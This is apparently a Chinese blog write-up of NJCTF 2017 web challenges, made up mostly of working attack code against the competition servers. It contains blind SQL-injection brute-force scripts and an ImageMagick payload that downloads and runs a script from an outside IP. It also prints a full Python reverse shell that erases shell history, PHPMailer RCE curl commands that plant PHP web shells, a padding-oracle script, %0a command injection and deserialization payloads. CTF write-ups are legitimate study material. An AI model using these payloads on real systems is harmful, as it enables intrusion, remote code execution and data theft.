可以参考这篇文章: http://www.CodeSec.Net/articles/web/124537.html 注:必须是sql_mode为宽松模式时
Come on这题比赛期间没做出来。
能做到的信息是 宽字节注入。
%df%27 返回Could not get data.
然后,过滤了很多很多敏感字(/ 、 /、and、or、mid、substr、union、>、<、空白符、ascii),一直没找到能运行的payload进行攻击。
比赛完,问了别人,才想到其实可以使用binary类型转换,进行攻击
首先,用 || 替换or,再利用right left定位,空格可以用%0b 就是()
http://218.2.197.235:23733/index.php?key=-1%df%27||left((select(flag)from(flag)),1)=0x4e%23这里,有几个注意的点:
单引号被转移,需要用16进制 mysql不区分大小写,所以对于16进制,要么二重16进制,要么使用binary函数二重16进制:
GET /index.php?key=-1%df%27||left((select(hex(flag))from(flag)),2)=0x34§34§%23=>>45binary函数:
GET /index.php?key=-1%df%27||left((select(flag)from(flag)),1)=binary(0x§34§)%23like函数
/index.php?key=-1%df%27||(select(binary(flag))from(flag))like(0x§4e§25)%23选择用like 绕过。单引号被转义了用16进制绕过,但是有几个坑:mysql默认不区分大小写,在select的时候加上binary;_在like语句中需要转义。
还一种利用like的payload:
select * from foo where code like '%%fd'||1.having(select(1)from(select(flag)from(flag)where(flag)like(binary(0x4e4a4354467b354830575f4d335f53304d335f735131695f547249436b357d25)))x)#%'写了几个payload:
#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import string url = "http://218.2.197.235:23733/index.php?key=" payload = "-1%df%27||left((select(hex(flag))from(flag)),{pos})=0x{c}%23" req = requests.Session() str = string.printable char ='' flag = '' end =0 for i in xrange(1,81): for s in str: char = (flag+s).encode('hex') endurl = (url+payload).format(pos = i,c = char) # print endurl r = req.get(endurl) #print r.text if len(r.text)>1000: flag +=s print flag break if s ==str[-1]:#搜索一圈都没搜到 print "we get all!" end =1 break if(end): break print flag.decode('hex') #!usr/bin/env python #-*- coding:utf-8 -*- import requests url = "http://218.2.197.235:23733/index.php?key=" payload = "-1%df%27||left((select(hex(flag))from(flag)),{pos})=0x{c}%23" req = requests.session() flag ='' for i in xrange(1,100): for h in xrange(0x00,0xff+1): endurl = (url+payload).format(pos = i,c =flag+hex(h)[2:]) #print endurl r = req.get(endurl) if len(r.text)>1000: flag +=hex(h)[2:] print flag break print flag.decode('hex').decode('hex') #!/usr/bin/env python #-*- coding:utf-8 -*- import requests import string url = 'http://218.2.197.235:23733/index.php?key=' payload ='%df%27||right(left((select(flag)from(flag)),{pos}),1)=binary(0x{c})%23' req =requests.session() def get_flag(): flag = "" str = string.printable for i in xrange(1,50): for char in str: endurl = (url+payload).format(pos=i,c=char.encode('hex')) r = req.get(endurl) #print endurl if(char=='}'): flag+=char print "we get all flag!" print flag print 'test' exit() if(len(r.text)>1000): flag+=char print flag break get_flag() #!/usr/bin/env python # -*- coding: utf-8 -*- import string import requests req = requests.session() url = "http://218.2.197.235:23733/index.php?key=" payload = "-1%df%27||(select(binary(flag))from(flag))like(0x{}25)%23" str = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%' def get_flag(): flag='' for i in xrange(1,99): for c in str: char = (flag+c).encode('hex') endurl = (url+payload).format(char) #print endurl r = req.get(endurl) if(len(r.text)>1000): flag +=c print flag break get_flag() Be Logical这道题应该是这次比赛出的最好的一题,很有意思。可惜比赛的时候,没咋做它。
主要过程就是:逻辑漏洞->ImageMagick->PHPMailer
第一步存在两个可走的点:
是后台在refund的操作中,用了intval函数,比较point与mony是否相等,来确认数据没有被篡改。但是,我们可以通过科学计数法绕过。intval(1e3)=intval(1)。这样就能购买服务了。 本题也可以获取.Sign.php.swp文件,能够发现签名算法存在缺陷,可以爆破secret_key长度并使用哈希长度扩展攻击伪造签名来进行刷钱接下来就进入到第二步,这里有 convert 图片的功能,基本可以确定其存在一个ImageMagick的漏洞
这里参考两篇博客:
http://www.s0nnet.com/archives/imagetragick
https://www.waitalone.cn/imagemagick-poc.html
写一个image.png
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|wget http://106.14.61.185/files/imageMagic.py -O /tmp/imageMagic.py && python /tmp/imageMagic.py 106.14.61.185 12315")' pop graphic-context然后,把脚本部署到我们的服务器上
http://106.14.61.185/files/imageMagic.py
# -*- coding:utf-8 -*- #!/usr/bin/env python """ back connect py version,only linux have pty module code by google security team """ import sys,os,socket,pty shell = "/bin/sh" def usage(name): print 'python reverse connector' print 'usage: %s <ip_addr> <port>' % name def main(): if len(sys.argv) !=3: usage(sys.argv[0]) sys.exit() s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((sys.argv[1],int(sys.argv[2]))) print 'connect ok' except: print 'connect faild' sys.exit() os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) global shell os.unsetenv("HISTFILE") os.unsetenv("HISTFILESIZE") os.unsetenv("HISTSIZE") os.unsetenv("HISTORY") os.unsetenv("HISTSAVE") os.unsetenv("HISTZONE") os.unsetenv("HISTLOG") os.unsetenv("HISTCMD") os.putenv("HISTFILE",'/dev/null') os.putenv("HISTSIZE",'0') os.putenv("HISTFILESIZE",'0') pty.spawn(shell) s.close() if __name__ == '__main__': main()服务器监听一下 nc -l - 12315
上传png文件,它会自动调用convert,然后就能反弹shell
翻一下,还是没有找到flag。自然接下来就应该是内网渗透了。
这里有一个小技巧,使用arp -nv可以快速探测内网(当然你也可以使用curl来获得远程的一个py扫描脚本,然后扫描)
arp -nv arp -nv Address HWtype HWaddress Flags Mask Iface 172.17.42.1 ether 72:1d:76:57:41:32 C eth0 172.26.0.20 ether 72:1d:76:57:41:32 C eth0 172.17.0.1 ether 02:42:ac:11:00:01 C eth0 172.17.0.19 ether 02:42:ac:11:00:13 C eth0 Entries: 4 Skipped: 0 Found: 4都测试一下。
可以看到在172.17.0.19存活一个Mail SYSTEM
搜一波,学习一下
https://blog.chaitin.cn/phpmailer-cve-2016-10033/
这里的根目录没办法写,存在uploads目录,但是uploads目录下一句话没办法执行(貌似是因为;的原因,可以传入 <?php system($_GET[test]);?> 这种格式去绕过),所以可以直接用system curl http://172.17.0.19 -d "subject=<?php system('ls ./');?>&email=aaa( -X /var/www/html/uploads/xiaoxi1.php )@qq.com&message=<?php echo moxiaoxi;?>&submit=Send email" curl http://172.17.0.19/uploads/xiaoxi1.php curl http://172.17.0.19 -d "subject=<?php system('ls ../');?>&email=aaa( -X /var/www/html/uploads/xiaoxi2.php )@qq.com&message=<?php echo moxiaoxi;?>&submit=Send email" curl http://172.17.0.19/uploads/xiaoxi2.php curl http://172.17.0.19 -d "subject=<?php system('cat ../flaaaaaaag.php');?>&email=aaa( -X /var/www/html/uploads/xiaoxi3.php )@qq.com&message=<?php echo moxiaoxi;?>&submit=Send email" curl http://172.17.0.19/uploads/xiaoxi3.php得到flag
Guess
这种url很容易就能想到可能是文件包含或者伪协议读取
http://218.2.197.235:23735/index.php?page=php://filter/read=convert.base64-encode/resource=upload
读源码
<?php error_reporting(0); function show_error_message($message) { die("<div class=\"msg error\" id=\"message\"> <i class=\"fa fa-exclamation-triangle\"></i>$message</div>"); } function show_message($message) { echo("<div class=\"msg success\" id=\"message\"> <i class=\"fa fa-exclamation-triangle\"></i>$message</div>"); } function random_str($length = "32") { $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9"); $str = ''; for ($i = 1; $i <= $length; ++$i) { $ch = mt_rand(0, count($set) - 1); $str .= $set[$ch]; } return $str; } session_start(); $reg='/gif|jpg|jpeg|png/'; if (isset($_POST['submit'])) { $seed = rand(0,999999999); mt_srand($seed); $ss = mt_rand(); $hash = md5(session_id() . $ss); setcookie('SESSI0N', $hash, time() + 3600); if ($_FILES["file"]["error"] > 0) { show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]); } $check1 = ((($_FILES["file-upload-field"]["type"] == "image/gif") || ($_FILES["file-upload-field"]["type"] == "image/jpeg") || ($_FILES["file-upload-field"]["type"] == "image/pjpeg") || ($_FILES["file-upload-field"]["type"] == "image/png")) && ($_FILES["file-upload-field"]["size"] < 204800)); $check2=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION)); if ($check2) show_error_message("Nope!"); if ($check1) { $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name']; if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) { show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]); } else show_error_message("Something wrong with the upload..."); } else { show_error_message("only allow gif/jpeg/png files smaller than 200kb!"); } } ?>脸黑,比赛的时候脚本没跑完:cry:
这题的思路,和以前做的一个题思路很像。
先伪协议读源码,然后上传一个php压缩包(改名为png),再伪协议(zip或phar)读取马,得到shell。这次的主要问题在于,题目把路径加了一个前缀,需要爆破随机数种子才能利用。
爆破随机数种子(session_id为我们的 PHPSESSID,hash为SESSI0N)
记得在文件头设置一下运行时间无限ini_set(‘max_execution_time’, ‘0’);
for($i=0;$i<=999999999;$i++){ $seed =$i; mt_srand($seed); $ss = mt_rand(); $session_id="kfm3fk6doepaefpaa9al32h8j7"; $hash1 = md5($session_id. $ss); $hash2 = "72a6022fd34bf1980ea8d20aafa3bd2a"; if($hash1===$hash2){ echo "we get seed:".$i; break; } if($i==999999999){ echo "run down!we can't get it!"; break; } } echo './uP1O4Ds/' . random_str() . '_';运行结果:
http://218.2.197.235:23735//index.php?page=zip://uP1O4Ds/hz3CZpGyYKnjH51V6fVYvCmpGXrIzeWm_test.png%23test
再请求一下即可
连接一下,看一波
这里有一个小技巧,可以迅速爆破mt_seed: http://www.openwall.com/php_mt_seed/
Wallet扫一波目录,能得到一个www.zip的文件。
(弱密码永远跑不出来orz。。。后来,别人给了个弱密码njctf2017)
然后,代码有混淆,随便找个网站解开混淆
<?php require_once("db.php"); $auth = 0; if (isset($_COOKIE["auth"])) { $auth = $_COOKIE["auth"]; $hsh = $_COOKIE["hsh"]; if ($auth == $hsh) { $auth=0; }else if (sha1((string)$hsh) == md5((string)$auth)) { $auth = 1; }else{ $auth=0; } }else { $auth = 0; $s = $auth; setcookie("auth", $s); setcookie("hsh", sha1((string)$s)); } if ($auth) { if (isset($_GET['query'])) { $db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY); $qstr = SQLITE3::escapeString($_GET['query']); $query = "SELECT amount FROM my_wallets WHERE id=$qstr"; -1 union select flag from flag %23 $result = $db->querySingle($query); if ( !$result === NULL){ echo "Error - invalid query"; } else { echo "Wallet contains: $result"; } } else { echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>"; } } else echo "Sorry, not authorized."; ?>一开始就是很典型的弱类型绕过,sha1==md5
弱类型
<?php var_dump(md5('240610708') == md5('QNKCDZO')); var_dump(md5('aabg7XSs') == md5('aabC9RqS')); var_dump(sha1('aaroZmOk') == sha1('aaK1STfY')); var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m')); var_dump('0010e2' == '1e3'); var_dump('0x1234Ab' == '1193131'); var_dump('0xABCdef' == ' 0xABCdef'); var_dump(0 == 'abcdefg'); var_dump(1 == '1abcdef'); ?>md5 :240610708,QNKCDZO,aabg7XSs,aabC9RqS
Sha1:aaroZmOk ,aaK1STfY,aaO8zKZF,aa3OFF9m
后面,就是query处存在注入(这里的难点在于只能知道有flag表。。要猜id)
最后的payload
GET /admin.php?query=-11+and+1=2+union+select+id+from+flag+--+ HTTP/1.1 Host: 218.2.197.235:23723 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: piclist=a%3A6%3A%7Bi%3A0%3Bs%3A44%3A%22upload%2Ff7363981c96e54e1f2d8a66aa5cca157.jpeg%22%3Bi%3A1%3Bs%3A44%3A%22upload%2F620eb40635025e52a20ffdffa20298fc.jpeg%22%3Bi%3A2%3Bs%3A44%3A%22upload%2F77af6d66ab71143e5adf91a4dafe3719.jpeg%22%3Bi%3A3%3Bs%3A42%3A%22upload%2F2bc5ef7c4ded2aae2987bfb71a7a700f.js%22%3Bi%3A4%3Bs%3A46%3A%22upload%2F3608dcbf9c8c241b3b8e757353c34f3c.p%2500hp%22%3Bi%3A5%3Bs%3A46%3A%22upload%2Ff954062fc88b8a7524c79d95ae2a7b4c.php%2500%22%3B%7D; auth=QNKCDZO; hsh=aaroZmOk DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Be admin存在index.php.bak
后面有时间再来复现
主要考点:源码审计 CBC比特反转 Padding-Oracle
可以算是比较综合的Web密码学题了
具体思路:
存在bak源码泄露以提供白盒,使用sqli控制查询语句的返回值,从而可以控制被传递进login函数的参数,由于php==运算符的安全问题,登陆验证函数可以被作为Oracle来使用,从而可以编写脚本,在没有密钥的情况下,通过padding oracle解出明文,再通过异或构造iv,从而在密文不变的情况下使解密后的结果变为admin,进而获取flag
index.php.bak源码泄漏,看源码知道可进行CBC的Padding Oracle和字节翻转攻击。
下面的脚本是直接贴的别人的
进行Padding Oracle攻击的脚本:
python import requests import base64 url = 'http://218.2.197.235:23737/index.php' N = 16 l = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] token = '' out = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] for i in range(1,17): for c in range(0,256): print c l[N-i] = c token = '' for m in l: token = token + chr(m) token = base64.b64encode(token) header = {'Cookie':"PHPSESSID=oot8oracn7o49ibrriscjikal4;ID=yudfxWJ2ptjjo8NLxaLeZQ%3D%3D;token="+token} res = requests.get(url, headers=header) data = res.content print data if 'ERROR' not in data: out[N-i] = c ^ i for y in range(i): l[N-y-1] = out[N-y-1] ^ (i+1) break print out可以将defaultId的明文读取出来为OrDinaryU5eR,接下来就是进行字节翻转攻击使得解密为admin就可以拿到flag。进行字节翻转攻击的脚本:
php <?php $c = base64_decode("ndncqTzQYbXSIiXc4Gc0OA=="); $s = "OrDinaryU5eR"; $tmp = $c; $tmp[0] = chr(ord($s[0]) ^ ord($tmp[0]) ^ ord('a')); $tmp[1] = chr(ord($s[1]) ^ ord($tmp[1]) ^ ord('d')); $tmp[2] = chr(ord($s[2]) ^ ord($tmp[2]) ^ ord('m')); $tmp[3] = chr(ord($s[3]) ^ ord($tmp[3]) ^ ord('i')); $tmp[4] = chr(ord($s[4]) ^ ord($tmp[4]) ^ ord('n')); $tmp[5] = chr(ord($s[5]) ^ ord($tmp[5]) ^ 11); $tmp[6] = chr(ord($s[6]) ^ ord($tmp[6]) ^ 11); $tmp[7] = chr(ord($s[7]) ^ ord($tmp[7]) ^ 11); $tmp[8] = chr(ord($s[8]) ^ ord($tmp[8]) ^ 11); $tmp[9] = chr(ord($s[9]) ^ ord($tmp[9]) ^ 11); $tmp[10] = chr(ord($s[10]) ^ ord($tmp[10]) ^ 11); $tmp[11] = chr(ord($s[11]) ^ ord($tmp[11]) ^ 11); $tmp[12] = chr(4 ^ ord($tmp[12]) ^ 11); $tmp[13] = chr(4 ^ ord($tmp[13]) ^ 11); $tmp[14] = chr(4 ^ ord($tmp[14]) ^ 11); $tmp[15] = chr(4 ^ ord($tmp[15]) ^ 11); print base64_encode($tmp); ?>将得到的IV放到cookie中的token,访问得到flag。
Get Flag很典型的一个命令截断(&也可以)
%0a截断 导致命令执行
flag=%0a+ls+../../&submit=
解码base64,会有一个
cat: images/: Is a directory 9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag
读取一下
flag=%0a+cat+../../9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag&submit=
得到flag
pictures’ wall很奇怪的题目- -
登录框无论输入啥都能登陆,系统提示需要管理员权限..怀疑不是用户名密码验证,尝试http方面的绕过
脑洞一波。。host:127.0.0.1 绕过登陆,得到root权限
root有一个上传图片界面。。迷之绕过(fuzz一波,可以看到phtml可以上去。然后题目貌似过滤了?)
<script language="php"> @eval($_POST[xiaoxi])</script>上传一个图片马,改后缀phtml
不过,这个题目确实非常奇怪。。
看了下源码:
<?php $content=file_get_contents($_FILES["pic"]["tmp_name"]); if($filearr === "phtml"){ if(preg_match("/.*<\?php.*/",$content)){ die("Something shows it is a php file!"); } if (!preg_match("/.*<script language=('|\")php('|\")>.*/",$content)) { die("Do you want to upload a php file?!"); } }感觉正常开发环境中不会出现:joy:
Text wall在页面里存在.index.php.swo
显然,我们要调用__toString函数去highlight_file我们想看到的数据。
这里用到了一个小技巧,php中数组里面有一个对象,它会期望那个对象为string类型。所以,如果对象是一个序列化就会自动调用__toString
所以,我们可以这样构造
$lists = []; Class filelist{ function __construct($var){ $this->source = $var; } public function __toString() { return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true); } } $file = new filelist('index.php'); $lists = array($file); #var_dump(serialize($file)); var_dump(serialize($lists));然后,对其sha1 补充到前面,后面url编码一下,放到cookie里面
f3a6de2497f71356a3995e26a1f4f64ae48e80b1%61%3a%31%3a%7b%69%3a%30%3b%4f%3a%38%3a%22%66%69%6c%65%6c%69%73%74%22%3a%31%3a%7b%73%3a%36%3a%22%73%6f%75%72%63%65%22%3b%73%3a%39%3a%22%69%6e%64%65%78%2e%70%68%70%22%3b%7d%7d这样就能看到index.php的源码
/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g同样序列化读取一下就好
PS: 据说可以找到原题: https://losfuzzys.github.io/writeup/2016/10/02/tumctf-web50/
Blogruby的代码审计 不大会
Tips:ruby审计思路,i可以首先看route 然后找逻辑。对应着页面找到实现代码
看了下别人的WP
主要问题在于,table users在定义的时候,有一列标志其是否为admin,默认为false
create_table "users", force: true do |t| t.string "name" t.string "email" t.datetime "created_at" t.datetime "updated_at" t.string "password_digest" t.string "remember_token" t.boolean "admin", default: false end 而在注册界面的注册函数中,它其实多传了一个admin的参数。只是在实际界面不存在,我们构造一个user[admin]=1即可(这个格式参照其他参数的构造方式) private def user_params params.require(:user).permit(:name, :email, :password, :password_confirmation, :admin) end构造一个请求包
POST /users HTTP/1.1 Host: 218.2.197.235:23727 Content-Length: 301 Cache-Control: max-age=0 Origin: http://218.2.197.235:23727 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: http://218.2.197.235:23727/users Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Cookie: session=eyJhZG1pbiI6Im5vIn0=; session.sig=Uw-lgOYJjpIZLRIXs4H8tv2EK_0; PHPSESSID=kfm3fk6doepaefpaa9al32h8j7; piclist=a%3A2%3A%7Bi%3A0%3Bs%3A43%3A%22upload%2F693a17c7426e064e37c184879f4e4107.png%22%3Bi%3A1%3Bs%3A45%3A%22upload%2F773f33a925049e4906690514266b89cf.phtml%22%3B%7D; _sample_app_session=ZEFvNW5hTzI2aFVSNzNjN05Lc0JISGlFRU04aGE1M3lCL0pyM0xCUkNoWnE4S1VJMGNuUlpOMXl0OXR0aFlMUUlNbGN6ODU1NUxhN21VeU9wbHRyTFNaRHg4STRiZHR4NkRaMzEzalZGSkNKMEZOdjZPRVJ5cklGSEN3OWUxUTByVEVYdUNKQlMxcHJLNHpTZEd5NDd3bUNSSk1kbEFUc2V2aEQramZuSWQ1RUhsNHJxZTZ0bWZiUmdmWjZiSVpuLS1uTG9CM0lBVk1vdzdvM2prL21oUHRnPT0%3D--5607ac4adcab4b1014ea69518f5c5afd8aec911a Connection: close utf8=%E2%9C%93&authenticity_token=%2FPQd%2BsT%2B1KX0%2B2vr%2Bqd5ME5G%2B2abPv4x6I3na8FG%2Bcd6QifrU0%2FBEknXMxJIRgvfIzens6iPmAhurvD0foPq9w%3D%3D&user%5Bname%5D=moxiaoxi12345&user%5Bemail%5D=moxiaoxi%40qq11.com&user%5Bpassword%5D=moxiaoxi&user%5Bpassword_confirmation%5D=moxiaoxi&user%5Badmin%5D=1&commit=Create+my+account CHaII能搜到一篇非常相似的博客
http://smrrd.de/nodejs-hacking-challenge-writeup.html
这道题,有一个非常脑洞的地方,就是必须输入md5出来全是数字的md5才能触发内存泄漏。。。。
非常神奇orz 原题就没这么脑洞。。
List of few first strings that give only-digit md5 hash:
ximaz : 61529519452809720693702583126814 aalbke : 55203129974456751211900188750366 afnnsd : 49716523209578759475317816476053 aooalg : 68619150135523129199070648991237 bzbkme : 69805916917525281143075153085385Here’s one with only letters:
cbaabcdljdac : cadbfdfecdcdcdacdbbbfadbcccefabd输入md5后,全为数字的数据后,会回显数据。
内存泄漏
写一个1.sh
while ((1));do curl http://218.2.197.235:23729/login --data '{"password":"afnnsd"}' -H "Content-Type: application/json" -i done可以看到很明显的内存泄漏
可以找到数据
./1.sh| hexdump -C >1.txt
NJCTF{P1e45e_s3arch_th1s_s0urce_cod3_0lddriver}
然后到github上下载源码,在本地跑一下。
https://github.com/0lddriver/app
将config.js中的数据改一下
var config = {}; config.secret_password = "" config.session_keys = ["NJCTF{P1e45e_s3arch_th1s_s0urce_cod3_0lddriver}"] module.exports = config;然后,修改app.js中的no为yes
app.use(function(req, res, next) { if(req.session.admin === undefined) { req.session.admin = 'yes'; } next(); });这样就能得到{“admin”:”yes”}的签名
session=eyJhZG1pbiI6InllcyJ9; session.sig=DLXp3JcD1oX3c8v4pUgOAn-pDYo
然后去请求一下admin
GET /admin HTTP/1.1 Host: 218.2.197.235:23729 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: session=eyJhZG1pbiI6InllcyJ9; session.sig=DLXp3JcD1oX3c8v4pUgOAn-pDYo DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 If-None-Match: W/"471-PF7BbTeX0i15/QjaTjk5Ww"就能回显到数据
TkpDVEZ7TjBkNUpT5piv5LiW55WM5LiK5pyA5aW955qE6K+t6KiA77yM5a+55ZCX77yffQ==
解码一下就是flag(中文)
其它额外做了一个题 也记录下
knock查看长度,莫斯密码解密失败
然后,查看了一下长度
发现knock长度145 text118
其中,knock中_ 有27 .有118个
猜测_是分隔符
#!/usr/bin/env python #!-*- coding:utf-8 -*- def readfile(filename): with open(filename,"r") as fp: content=fp.read() return content knock = readfile("knock.txt") text = readfile("text.txt") # print len(knock),len(text) # print knock.count('_') # print knock.count('.') # print knock # print text test = '' indexpre=0 i=0 while(knock.find('_')!=-1): index = knock.find('_') knock = knock.replace('_','-',1) text =text[:index]+' '+text[index:] indexpre=index print textzjqz hexjz mo oqrs sai daiyn lebn zjo vos ltah zjer horrqxo e iron lobdo za voou zjo vos qfqs ltah mqn qrr joto er zjo horrqxo ebooqydrztyqqojolx
然后,词频分析一下
that might be easy you could find the key from this message i used fence to keep the key away from bad ass here is the message ineealcstrlaaehefg
提示是栅栏密码
ineeal cstrla aehefg6位栅栏
icanseetheflag